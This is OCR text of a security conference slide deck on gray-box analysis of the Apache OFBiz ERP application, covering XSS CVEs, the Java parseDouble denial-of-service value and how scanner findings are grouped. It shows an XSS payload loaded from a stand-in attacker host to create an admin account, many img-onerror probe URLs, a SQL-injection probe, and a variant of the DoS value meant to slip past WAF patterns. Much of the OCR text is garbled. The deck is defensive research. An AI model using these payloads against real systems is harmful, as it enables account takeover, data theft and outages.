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Introduction

History of the experiment: Gather empirical results while developing
gray-box analysis.

Pencil Sharpeners Results

Tip completely
broken off

Breaks when it
touches paper

V A nice, crisp point
Only shaved half of
the pencil

- Undergone security improvements
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Test Application, criteria:

- Extensively used



The Test Application

- Selection criteria for the project working on:
- Open source, java or .NET
~Widely used

Top 5 Open Source
ERP Software Applications

P 5 Open Source Enterprise Resource Planning (ERP) Software SySrem
[*] Apache OFBixiopentaps “,5
_ —

] ERPS
[*] OpenMFG

- Apache pfb iz B
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The Test Application

- End Users:
- 1-800-Flowers |\ fl
- Olympus.de
~United.com
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The Test Application

- Products and Projects based on Apache OFBiz:

_ OpenTapS Products and Projects based on Apache OFBiz
Product/Project License Organization
DOFBiz.info Free access
KMvelopes Commercial, Free Trial InZM
TurboPave Commercial, Fres Trial Opus Services
AlLL-IN Software Commercial Emforium Group Inc.

A i ' Commercial

< opentaps Open Source ER@L and Commercial Open Source Strategies
GFoom GPL3 Maps S.p.A&A. - TD Group
Meogia GPL
SourceTap CRM GPL and Commercial?
MNeulion SAMWANMNA Commercial

Codesguare Helix

Owa GPL 3 C-Libre

BStrategic Power Office Commercial Businessesnetwork.com

my o fhiz. com n'a Adaptive Enterprise Solutions, LLC
CrangeGears Project Apache License Version 2.0 OrangeGears

SaaS-Suite OFBiz CommerciallAPL Corent Technology



The Test Application

- Security?

—Multiple vulnerabilities found in CVE

CVE-2006-6587 L&

-5

(under review) N

Cross-site scripting (XSS)

~ Other (Exploit Search)

ENTRY [OSVDB 64516 ] match rank: 100%

http:/foswvdb.org/show/oswdb/64516

064516: Apache Open For Business Project (OFBiz) Export Product listing Section productStoreld Parameter XSS

<em style='font-weight:bold;'={Description Provided by <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0432" target="_blank
Project {(aka OFBiz) 09.04 and earlier, as used in Opentaps, Meogia, and Entente Ovya, allow remote attackers to inject arbitrary web script o
to partymgr/control/viewprofile (aka partymgr/control/login), {(3) the start parameter to myportal/control/showPortalPage, (4) an invalid URI |

/ReceiveReturn), (5) the contentld parameter (aka the entityMame wvariable) to ecommerce/control/ViewBlogarticle, (6) the entityMName para
component under ecommerce/control/contactus.

AT A L W

W e B B e s B B M e e e B

—... and an interesting video on how to become an admin by exploiting a XSS



The Test Application

<+ <= = b Q “ ? lo httpsZ/www .ofbiz-victim.com:8443/ecommerce/control/contactus
‘I_) Gl l, et A== | ===
o‘" - Open For Commerce <
e st —— Prat of thm Cpams For Exsmiremms Pty of Gy Seascn Scfteees [View Carf] {Ouick Checkont
U Bz iiivvtmcnss v e B

Logoest Conmact Us  Main Onsick Acd

Engiizn {United Stmes)

From: ot You? | Clek raere |)

Cart Summary

% | = o Subject: v
Sudpect: Hetbzoript zro - Awwn I 5 ;
b <:l <script sre=http: //www. attacker. com/createll ser js> < script>

% Since the application does not properly sanitise the users input, we inject our
payload. The payload will get executed when Administrator accesses his msgbox.

L
=

The payload performs the following actions:

-The payload stays hidden from the users view by applying customized javascript
techniques thus its completely stealth to the wvictim.

-Creates a new user with full prvilleges by the means of several XMLHttpRequests -

-Send an HT TP request to the attacker's server to inform successful exploitation.




The Test Application

‘ ~ z ﬂ 10 https:/fwww.ofbiz-victim.com:8443/myportal/control/main?portalPageld=MyPoF  [EJ v~
@ My Information: ] Cig ~
1
beiz wg‘,’g% . = APPLICATIONS w PREFERENCES wr WELCOME, THE ADMNIS TRATOR (ADMN)  LOGOUT HELP
on or Business Project

MY PORTAL FOR : MR. THE PRIVILEGED ADMINISTRATOR

MAIN

Comm. gpe 1d Paryid From Smus 1D

MY COMMS

MY PROEILE | Ques fon[10004] Web Ske Joe Watson [10001] Your Company Hame Here [Company] Created 20100218 1459 Addressee REMOVE
SRR AT

MY TIME SHEET | %

MY TASKS —

PREFERENCES
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The Test Application

11

(=] - i7_wicti - ; P Ei ic? 3 — ins
|4 | | = = 1 Lo | - : |a hitpswww ofbiz-victim.com:8443/webtools/control/FindGeneric?entityName=UserLoging &5
AN Find Values For Entity: UserLoginSecurityGroup
Back To EnEity List View RelaSons Create Hew
LOGGING

-?3‘3{45-5 & DEBUG
ARTIFACT INFO
ENTITY ENGINE
SERVICE ENGINE
IMPORT/EXPORT
STATISTICS
CONFIGURATION

TESTS

Search Options

[Pt Narme: Primary
e ol it bonsaluser
roupid
romSate
rruDate

a3 scp Timestamp, T
createdTx Stamp |ava sgl Timestamp. T

foup, laave all entries blank FIND

FULLADMIMN: Highest
privilege available.

a5tUpdatedTxStamp createdStamp createdTaStamp




The Test Application

- Bug Tracking: Security Issues grouped together

q Isstrx/e‘v;tc;

group security concerns

Log In @ Views =

* Major Unresolved Reporter acques Le Ro

s SVN trunk Fix Version/s None Vote (0) Watch (1)
ALL COMPONENTS -
Nane Dates

16/Dec/07 09:23
01/Aug/11 14:44

Descriptior

The goal of this virtual issue is only to group together all OFBiz security issues (pending or closed).

Note that there are no proved security issue y. just p

This issue should never be closed

XSS wulnerability in OFBiz Login Form
Cross site scripting vulnerability in Forum
Cross Site Scripting Vulnerability (XSS)

XSS wul y in eC mgr

Fortify Open Source Security Report mentioned OFBiz
unescaped htmi special characters create problems in pages

html code is not sanitized in all the text input field

In hyperlink and sub-hyperlink of target p: by pa b
Secure URLs in Freemarker templates files

Passwords in POS are shown in clear text

I S S R N N S Y
oo b bbb bbbk

Main task for securing URLs in Freemarker templates files

12



The Test Application

- In the end: All known issues are fixed in Apache OFBiz 10.04

in-2010!

F1} .Jacques Le Roux added a comment - 14/Feb/09 07:39
Fixed by recent security efforts (though the message is not C

SE'EiFCh

Query

Secure:

Duplicate

Duplicate
Fixed
Fixed
Fixed
Invalid

Fixed

W
13



So... what’s new in 20117

1)  New vulnerabillities:
Denial-of-service:
Parse Double

2)  Analysis techniques:
Gray box analysis

The original "Denial of Service" Attack




So... what’s new in 20117

1)  New vulnerabillities:
Denial-of-service:
Parse Double

2)

The original "Denial of Service" Attack

<



Denial-of-Service: Parse Double

CVE-2010-4476 (Feb 1, 2010)

+ Value: 2.2250738585072012e-308
- APL: Double.parseDouble(value)

Infinite loop!

Fixed: Feb 8, 2011

Are you stuck
in an infinite
loop?



Denial-of-Service: Parse Double

- Feb 01, 2011? No, no. March 04, 2001!

ihttp:/fbugs.sun.com/bugdatabasefvicw

v _bug.do?bug id=4421494

Seems down now, so details:

Bug ID: 442143934
1"'..— b |

Synop3iz infinite loop wWhile parsing double liteigz::>
Catego

Beported Against 1.3 , 1.4.1
Belease Fixed

State S—{Cause Known, bug
Priority: 4-Low

4439685 , 4887667 , 6876342
Submit Date 04-MRR-2001

- Why is this fixed within 1 month after the rediscover?

17



Denial-of-Service: Parse Double

Examples:

- Application: ApOChe Tomcat

- Usage: Tomcat uses parseDouble() on the value of the Accept-language
HTTP header when an application calls request.getlocale()

Big trouble!

http://blog.fortity.com/blog/2011 /02/08 /Double-Trouble

@



Denial-of-Service: Parse Double

How many issues in Apache OFBIiz?
Used analysis techniques:
Static Analysis (White Box)

Penetration Testing (Black Box)



Denial-of-Service: Parse Double

Static Analysis (White Box)

UtilMisc.toMap ("regquestedQuantity™, UtilFormatOout.formatQuantity ((eb=isyshha e «iti=INAT—RRCNRY)
"productName", this.getName () ,

"productId", productId) :

() Input.java:154 - getText(return)

4 @ ShoppingCartltem.java:1006 (Shared Sink) - [1 / 27] « Inputjava:154 - Return
m from AbstractOFBizAuthenticationHandler java:129 (De #() MenuEventsjava:257 - value(return)
w from CompDocEvents.java:109 (Denial of Service: Parse = MenuEvents java:257 - Assignment to value

@ from CompDocEventsjava:124 (Denial of Service: Parse  2() MenuEvents java:263 - BigDecimal(0 : this)
wl from ContextFilterjava: 3299 (Denial of Service: Parse Do

wl from CoreEvents.java:dl?2 (Denial of Service: Parse Dout
wl from ICalWorkerjava:285 (Denial of Service: Parse Douly
& from Inputjava:154 (Denial of Service: Parse Double)

- P - o— — —

= MenuBvents.java: 263 - Assignment to gquantity
= MenuBvents.java: 280 - Assignment to quantity
#(} MenuEvents.java:283 - modifyQty(1)

+{} PosTransaction.java:564 - setQuantity(0)

#{} ShoppingCartltem.java:847 - setQuantity(0)

#{} ShoppingCartltem.java:852 - setQuantity(0)

#{} ShoppingCartltem.java:1006 - doubleValue(this)

. w



Denial-of-Service: Parse Double

Penetration Testing (Black Box):
http://yourofbiz.com/ecommerce/control/modifycart (update_0, update_1, ...)
http://yourofbiz.com/ecommerce/control /additem/showcart (quantity, add_product_id)
http://yourofbiz.com/ecommerce/control/additem/quickadd (quantity)
http://yourofbiz.com/ecommerce/control /additem/keywordsearch (quantity)
http://yourofbiz.com/ecommerce/control/additem/advancedsearch (quantity)
http://yourofbiz.com/ecommerce/control /additem/showPromotionDetails (quantity)
http://yourofbiz.com/ecommerce/control/additem/product (quantity,add_amount)
http://yourofbiz.com/ecommerce/control/additem/lastViewedProduct (update_O)
http://yourotbiz.com/ecommerce/control/additem/showForum (quantity)
http://yourotbiz.com/ecommerce/control/additem/category (quantity)
http://yourotbiz.com/ecommerce/control/additem/main (quantity)
http://yourotbiz.com/ecommerce/control/additem (quantity)
http://yourotbiz.com/ecommerce/control/additem/setDesired Alternate GwpProd uc’r@ ..)



Denial-of-Service: Parse Double

What is the problem?
- Root case is a Java problem, not an application problem!

- Everybody uses the fixed java version, right? (Version Java 6 Update
24 or later)

Because of lack of updating java, Apache tomcat installed additional
checking. (Tomcat 7.0.8, 6.0.32, 5.5.33 or later)

inmt semi = entry.index

if (gemi >= 0) {
try {
String struality = entrv.substring(semi + 3)
if (=cruali dlengrth () <= 5)

gquality = Double. (struality) - @
22




So... what’s new in 20117

1)

2)  Analysis techniques:
Gray box analysis




What is Gray-Box Analysis

- Well... what is black-box analysis?
-Can see that something is truly wrong
-No inside information




Black-box Testing (Penetration Testing)

http://www.testapp.com/index.html?g=a"or+1=1-

]
~~

—_— ~>
App crashes...



What is Gray-Box Analysis

- Get inside information

- Easier to find out what's wrong and where exactly so
easier to fix

26



Gray-box analysis: Integrated Analysis

Application

v
e Find More
e Fix Faster




Find More

Detect new types of vulnerabilities

Privacy violation, Log Forging

Find more of all kinds of vulnerabilities
Automatic attack surface identification
Understand effects of attacks

28



Attack surface identification

> /pages/balance.jsp ~

> /backdoor.jsp )

* File system
» Contiguration-driven
* Programmatic

)
[

]



Attack surface identification: Apache Ofbiz

Gray-box
B | G C I(- bOX =& if:‘http:.l’fltl.1UU.6E|.5E|:EUSU;

= =
+-[7]F2 accounting _ _
H-1EF ap VI https:fi10.100,60.50:5445]
= - [FIES ar : N
: 5. e ¢
41 [7|ES) assetmaint :
: 3 accounting
accounting - FET bire
ar +-[¥]E5 boot i =
catalog 5 IES catslog - ar
content - [FES cmssite ¥ assetmaint
scommerce =B content birt
Escammerce +-[FIES ebay £3 catalog
B3 ecommerce +1-[7|E7 ecomclone 3 conkent
sampls i {¥]ES ecommerce & ebay
horme
i scommerce ecomclone
images EEE IS EE S S e e .. = +
ot VI etc +] | ECOMMErce
marketing :
scammerce - example e example
- [7|53 examplesxt & evamplogst
privacy . hkm H - P!
o -7 Facility Facility
, . privacy.htm +-[#|5Z googlebase aooglebass
= 3 tbps:)f10.100.60.50:54435) 1]
. i?, plrs i / - [7]E35) hhFacilivy : hhEacility
5- e t -
— - 1715 home ;
-0-ICJE3 accounting - humanres
. - [7]ES humarres :
3 B ar 5B images £3 images
- LI catalog T emar £ ismar
-] content o[BS ! )
+ Jr__l ecommerce +-[FEZ manufacturing ]~ rnanuFacturing
i ) ! -
o FIES example - [7EZ marketing - marketing
images -3 mypartal ] myportal
= marketing - [VIES ofbiz v ofbizsetup
E ardermor +1-[7|E3 ofbizsetup - ardermar
tomahavik #1155 ordermar - parkymagr
privacy. htm - (ZIER partymgr S prajectmgr
privacy. html - [VIEE projectmar £ sfa
5. 7S .
H 2 sfa + tempFiles
I showcase : tomahal
: =
41-[CIET tempfiles :
] webpos
VIET wEB-INF ol
- [7]55) webpas wenbanis
- [FIES webslinger wiorkeffort
41 [FEZ webtools
- [7|E3 workeffort




Understand effects of attacks

=27/ bacrkdoor.jsp

Command Injection



Fix Faster

Provide Actionable Detalls
Stack trace
Line of code

Group Symptoms with a Common Cause



Actionable Detalls

RWi Online Banking

Username:
eddie
Password:

Go

I Need to set up online access?

SecurityScope Stack Trace:
at org.apache.tomcat.dbcp.dbep. PoolingDataSourcesFoolGuardConnection'Wrapper. preparestatement| Pod
————— start of user application code ——————
at com.fortify.samples.riches.model. LocationService.find ByZip( LocationService.java: 110])
at com.fortify.samples.riches. FindLocations. execute{ Find Locations. java: 45])
at sun.reflect.GeneratedMethodAccessort4.imvoke{ Unknown Socurce)
at sun.reflect. DelegatingMethodaccessarTmplinvoke(DelegatingMethod Accessorlmpl.java: 25)
at java.lang.reflect. Method.invoke{Meathod.java: 5377
at com.opensymphonyaowork2, DefaultActionInvacation.invoke Action{DefaulticionInvocation.java404]) [ —
M ".DefauItActionIm.'ocation.invoke.'-‘-.chor.C-r.I'f[De"a|..I:.'-'-.ctior.In'.rc-catic:\r'.Java:ZE'

DefaultActionInvocation.invoke{DefaulttictionInvocation. java: 229)
terceptor. DefaultWorkflowInterceptor.dolntercept{DefaultWorkflowInter
2.interceptor. MethodFilterInterceptor.intercept{ MethodFilterInterceptor. java
DefaultictionInvocations2. doPrafiling DefaultactionInvecation. java: 224)
opensymphony.owork2, DefaultactionInvocations 2. doProfiling{DefaultacbonInvocation. java: 223)
opensymphony.owark2. util. profiling. UtilTimerStack. prefile(UtilTimerstack.java: 455)
DefaultactionInvocation.invoke(DefaultdctionInvocation. java: 221
~wvalidator. validationInterceptor.dolntercept{ValidationInterceptor.java: L50
Interceptor.dolntercept{Annotation'valid
cept{ MethodRlterintercaptor. |

33



Fix Faster: Actionable detalls

= Sevarity: i Critical {17 itams)

=l Duplicates:Guastserver Arbitrary Command Execution - http://10.100.60.50:B080/ecommerce/products/products/gusfbook.cgi (1 item)
Guastserver Arditrary Command Execution http-/f10.100.60. 508080 /ecommearcef/productsfprodu_.. GET

[=l Duplicates:Cross-5Site Scripting - htrp/f10.100.60.50:8080, 'webslinger/<ihMg SrC=x OnErRoR=alert{53485)> (5 items)

00600 €&

Cross-5Site Scripting hittp://10.100.60.50:B080 fwebslinger/<iMg SrC=x OnEr... GET i
Cross-Site Scripting hittp /10100, 60.50: 8080 fwebslinger/ Thems/Default/... GET [’
Cross-Site Scripting hittp /10100, 60. 508080 fwebslinger/Showcsse/<iMg... GET [’
Cross-Site Scripting hittp /10100, 60.50: 8080 fwebslinger/Showcsse/Stand... GET [
Cross-Site Scripting http:/f10.100.60.50:8080 /webslinger/OfBiz/<iMg SrC=... GET [

Duplicates:5implasthail Arbitrary Command Execution - http://10.100.60_50:8080/2commerce /products/proeducts/simplestmail.cgi {1 item]
Duplicates:Blind SAL Injection (confirmed) - http:/f10.100.60.50:8080 fecommerce/control/additem, (1 item)
[=] Duplicates: Cross-Site Scripting - hittps://10.100.60.50:8443 fecommercef/controlfsilentaddPromoCode (1 item)}

Cross-Site Scripting hittps://10.100.580.50:8443 fecommerce/control/silentA .. POST -;} productPromodl
Dugplicates:ad.cgi .&rbltrar',' Command Execution - http://10.100.60.50-:8080 /ecommerce/products/products/fad.cgi {1 item)
Duplicates: S g B e e T RS [ T W=

Duplicates:Cross-Site Scripting - htop//10.100.60.50:8080,/cmssite/cms/CMSS_PPOINT/—><ihMg S5rC=x OnErRoR=alert(18718)> (1 iten)

Cross-Site Scripting hittp -/ /10, 100,60 508080 /cmssite/cms/CMSS_PPOINT/... GET -;;

-/10.100.60.50:B080/acommerce/| i ]

Duplicates:Blind SAL Injection [confirmed) - http:/f10.100.60.50:8080 /ecommerce/controlfadditem,’ (1 item)

Duglicates:mailsend.exe Mail Spocfing Vulnerability - http /101003 50 508080/ ecommearce/products/products/mailsend.axe (1 item)
Duglicates:wsendmail.exe Mail Spoofing Vulnerability - http://10.100.60.50:8080/ecommerce/products/products/wsendmail.axe {1 item)}

[=] Duglicates:Cross-Site Scripting - http://10.100.60.50:8080 /cmssite,/cns/CMSS_DEMO_PAGEL/--><iMg SrC=x OnErRoR=alert{32528)> (1 item)

Cross-Site Scripting hittg://10.100.60.50:B080 /cmssite,/cms/CMSS_DEMO_... GET &9

34 —_— . am e .



Fix Faster: Actionable detalls

## Cross-Site Scripting
This stack trace is from the running application and was returned by SecurityScope. It can be used to determine root cause.
SecurityScope Trigger:
< 1-- no sub-content found with map-key [--=<iMg SrC=x OnErfRoR=alert{18718)>=] for content [CM55_PPOINT] —-=
SecurityScope Stack Trace:

at org.apache.catalina. connector. CoyoteWriter.write CoyoteWriter.java: 171)

at java.io.PrintbWriter.append{Print\Writer.java:260)

at java.io.PrintWriter.append{Print\Writer.java:35)

at org.ofbiz.content.content.ContentWorker.rendersubContentasText{ ContentWWorker.java: 358)
at org.ofbiz.content.cms, CmsEvents.cms{ CmsEvents,java:291)

at sun.reflact. GeneratedMethodaccessor2382. invoke{ Unknown Source)

at sun.reflact.DelegatingMethodfccessorlmplinvoke(DelegatingMethodaccessorlmpl. java: 25)
at java.lang.reflect. Method.invoke{Method.java:597)

at org.ofbiz.webapp.event. JavaEventHandler.invoke{ JavaEventHandler_ java:92)

at org.ofbiz.webapp.event. JavaEventHandler.invoke{ JavaEventHandler_ java:73)

at org.ofbiz.webapp. control.RequestHandler. runEvent! RequestHandler.java: 636)

at org.ofbiz.webapp.control.RequestHandler.doRequest{ReguestHandler.java:382)

at org.ofbiz.webapp.control.Controlserviet. doGet{ Controlserviet.java: 227)

at javax. servlet.http. HttpSendet.service{ HidpServlet. java:617)

at javax.zervlet.http. HttpSenvet.servicel HbpServliet.java: 717)

at org.apache.catalina. core. &pplicationFilterChain.internalDoFilter{ &pplicationFilterChain.java: 290
at nro.anacrhe.catalina.core_aAnnlicatinnFilberChain.doFRlterf AnnlicationFilberChain.dava: 20687

Sink: applications/content/src/org/ofbiz/content/content/ContentWorker.java:
341 public static void renderSubContentfAsText (LocalDispatcher dispatcher, Delegator delegator, String contentId, appendable out,
358 out.append("<!—-— no sub-content found with map-kev [ + mapKey + "] for content [" + contentId + "] ——>"):

35
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Group Symptoms with a common cause

- Counting issues seems to be hard!

3 vulnerabilities from the attackers perspective ﬁ
1 vulnerabllity from the developers perspective

W
36



Fix Faster: Group symptoms

[= sewverity: 0 Critical (28 items)
[=l Duplicates:Cross-Site Scripting - http://10.100.60.50:8080/cmssite/cms/CMSS_DEMO_PAGE1/--><iMg SrC=x OnErRoR=alert(62542)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080//cmssite/cms/CMSS_DEMO_PAGELl/--><iMg SrC=x OnErRoR=alert(62542)>
=l Duplicates:Cross-Si - e 100, 00, 50:80280/ webslinger/Theme/Default/CS5/<iMg SrC=x OnErRoR=alert|sooe by )

GET

s5-Site Scriptin http://10.100.60.50:8080,/webslinger/Theme/Default/C55/<iMg SrC=x OnErRoR=alert(33681)>
pang P 2 =4

Cross-Site Scripting http://10.100.60.50:8080/webslinger/Showcase/<iMg SrC=x OnErRoR=alert(42426)>
Cross-Site Scripting http://10.100.60.50:8080/webslinger/Showcase/StandAlonePage/<iMg SrC=x OnErRoR=alert(32774)>
Cross-Site Scripting http://10.100.60.50:8080/webslinger/OfBiz/<iMg SrC=x OnErRoR=alert(28853)>

jte Scripting http://10.100.60.50:8080/webslinger/<iMg SrC=x OnErRoR=alert(27245)>

GET

Duplicates:SCQL Injection (con
[=] Duplicates:Cross-Site Scripting - http://10.100.60.50:20280/cmssite/cms/APACHE_OFBIZ_HTML/—><iMg SrC=x OnErRoR=alert(48221)> (1 item}
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/APACHE_OFBIZ_HTML/--><iMg SrC=x OnErRoR=alert{43221)>
[=] Duplicates:Cross-Site Scripting - http://10.100.60.50:8020/cmssite/cms/APACHE_OFBIZ_PDF/--><iMg SrC=x OnErRoR=alert(56115)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/APACHE_OFBIZ_PDF/--><iMg SrC=x OnErRoR=alert(56115)>
[=] Duplicates:Cross-Site Scripting - http://10.100.60.50:8080/cmssite/cms/CMSS_PPOINT/--><iMg SrC=x OnErRoR=alert(34216)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/CMSS_PPOINT/--><iMg SrC=x OnErRoR=alert(34216)>
[=l Duplicates:Cross-Site Scripting - http://10.100.60.50:8080/cmssite/cms/CMSS_DEMO_SCREEN/--><iMg SrC=x OnErRoR=alert(25786)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/CMSS_DEMO_SCREEN/--><iMg SrC=x OnErRoR=alert(25786)>
[=] Duplicates:Cross-Site Scripting - http://10.100.60.50:8080/cmssite/cms/CMSS5_DEMO_BLOG/--><iMg SrC=x OnErRoR=alert{66316)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/CMS55_DEMO_BLOG/--=<iMg SrC=x OnErRoR=alert(66316)>
[=] Duplicates:Cross-Site Scripting - http://10.100.60.50:8020/cmssite/cms/CMSS_DEMO_TPL_DATA/--=<iMg SrC=x OnErRoR=alert(61812)> (1 item)
Cross-Site Scripting http://10.100.60.50:8080/cmssite/cms/CMSS_DEMO_TPL_DATA/--><iMg SrC=x OnErRoR=alert(61812)>
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Group symptoms: details

HTTP/1.1 404 Not Found
rer: Rpache—Coyote/1.1
M M H K-WIPP-Version: java / 1.0 / sml-srp—-susel_&902
- Detailed information on where i il sl falm s sl ene:
HM-WIFFP-FNF: 404
Content-Type: text/html;charset=UTF-8

to fIX the ISsue Date: Wed, 28 ?egsiﬂll 18:49:48 GMT

Content—Length:

<html>
<head>
<title»</title>
«<link rel="stylesheet" href="/webslinger/Theme/Default/C55" type="text/css">
</ head:>
<body>
<diwv class="content">

0 Cross-Site Sl:l'iptil'lg The file (/Theme/Default/CSS/ Sllislli-Fases SleliobezTaizEooWRoE i) } was missing.

This stack trace is from the running application and was returned by Sec| </div>

- - </body>
SecurityScope Trigger: e/ htmls
/Theme/Defaulty/CSS/{ <iMg SrC=x OnErRoR=alert(33681)=> o
SecurityScope Stack Trace:

at org.apache.catalina.connector. CoyoteWriter. write( CoyoteWriter java:171)

at org.apache.velocity. runtime. parser.node. ASTReference. render{ ASTReference. java:420)

at org.apache.velocity. runtime. parser.node.SimpleMode.render{SimpleMNode. java: 336)

at org.apache.velocity. Template.marge(Template.java:328)

at org.apache.velocity. Template.merge(Template.java:235)

at org.webslinger.template.velocity. LocalVelocity Template.run{Localvelocity Template. java: 41)

at _s$gen.Errors.Codes._523$04_463$vtl.run(/Errors/Codes/404.vtl) ]
L L 5 . S

[ Ly ey y k= —

at org.webslinger.WebslingerPlanner.invokeContent(WebslingerPlanner. java:496)

at ora.webslinger.Plan.runfPlan.iava: 199"
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Wrap-up

Applications found secure in 2010
Broken in 2011 because:

1)  New vulnerabilities:
Denial-of-service:
Parse Double

2)  Analysis techniques:
Gray box analysis

How to prevent?

The original "Denial of Service" Attack

T



Typical security throughout the SDLC

How about security testing in production?

StaticAnalysis

Security
~ |
|

N
. Integration
p }'Staging

Operate
J

40

™
evelopment \
/ Opkratiofs
Gray-boxAnalysis

PenetrationNesting



Pen testers find something, rely on WAF

Seen in the field: adding the pattern to WAF

Problems:

Does not protect against persistent

Are you sure your patterns cover everything?
Pattern often used:
2.2250738585072012e-308
How about:
0.22250738585072012e-307
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Denial-of-Service: Parse Double

- Seen in the field: adding the pattern to WAF

- Problems:

2. Are you sure your patterns cover everything?

Tomcat is vulnerable to a Dos if the accept- der contains
h=2.2250738585072012=-308' other very small values. T
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So... what did we do?

Took a released application
hit it with new analysis technique

Search for vulnerabilities that were not known at the release day



Solution to keep it protected

How about the application in production?

StaticAnalysis

Integratlon
/mi::p ment

Gray-boxAnalysis

Penetration Testing
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Solution to keep it protected

- Even if there are no code changes at all: keep scanning with updated
security knowledge

OFBiz / OFBIZ-1900

Q Fortify Open Source Security Report mentioned OFBIiz

Log In

Details

Type Bug Status +§ Closed
Priority i Major Resolution Fixed
Affects Version/s Release Branch 4.0 Fix Version/s SWHN trunk
Component/s MNone

Labels Mone

- This way, you'll find new ways of breaking your application
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Solution to fix Apache Ofbiz?

- It’s still open source, so you can DIY

FY _--= -=-added a comment - 29/Aprf08 03:18
| think the "policy™ is a bit more like this:

IT yvou want it, either do it or pay someone else to do it

(found in the bug databse)
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Solution to fix Apache Ofbiz?

Run the Java 6 Update 24 or later (no DoS: Parse Double issues)

XSS issues reported in CVE-2012-1621.:
Upgrade from version 10.04 to 10.04.02

a7



THANK YOU!

QUESTIONS?

Matias Madou, mmadou@hp.com

https://www.surveymonkey.com/s/Research 12_MatiasMadou



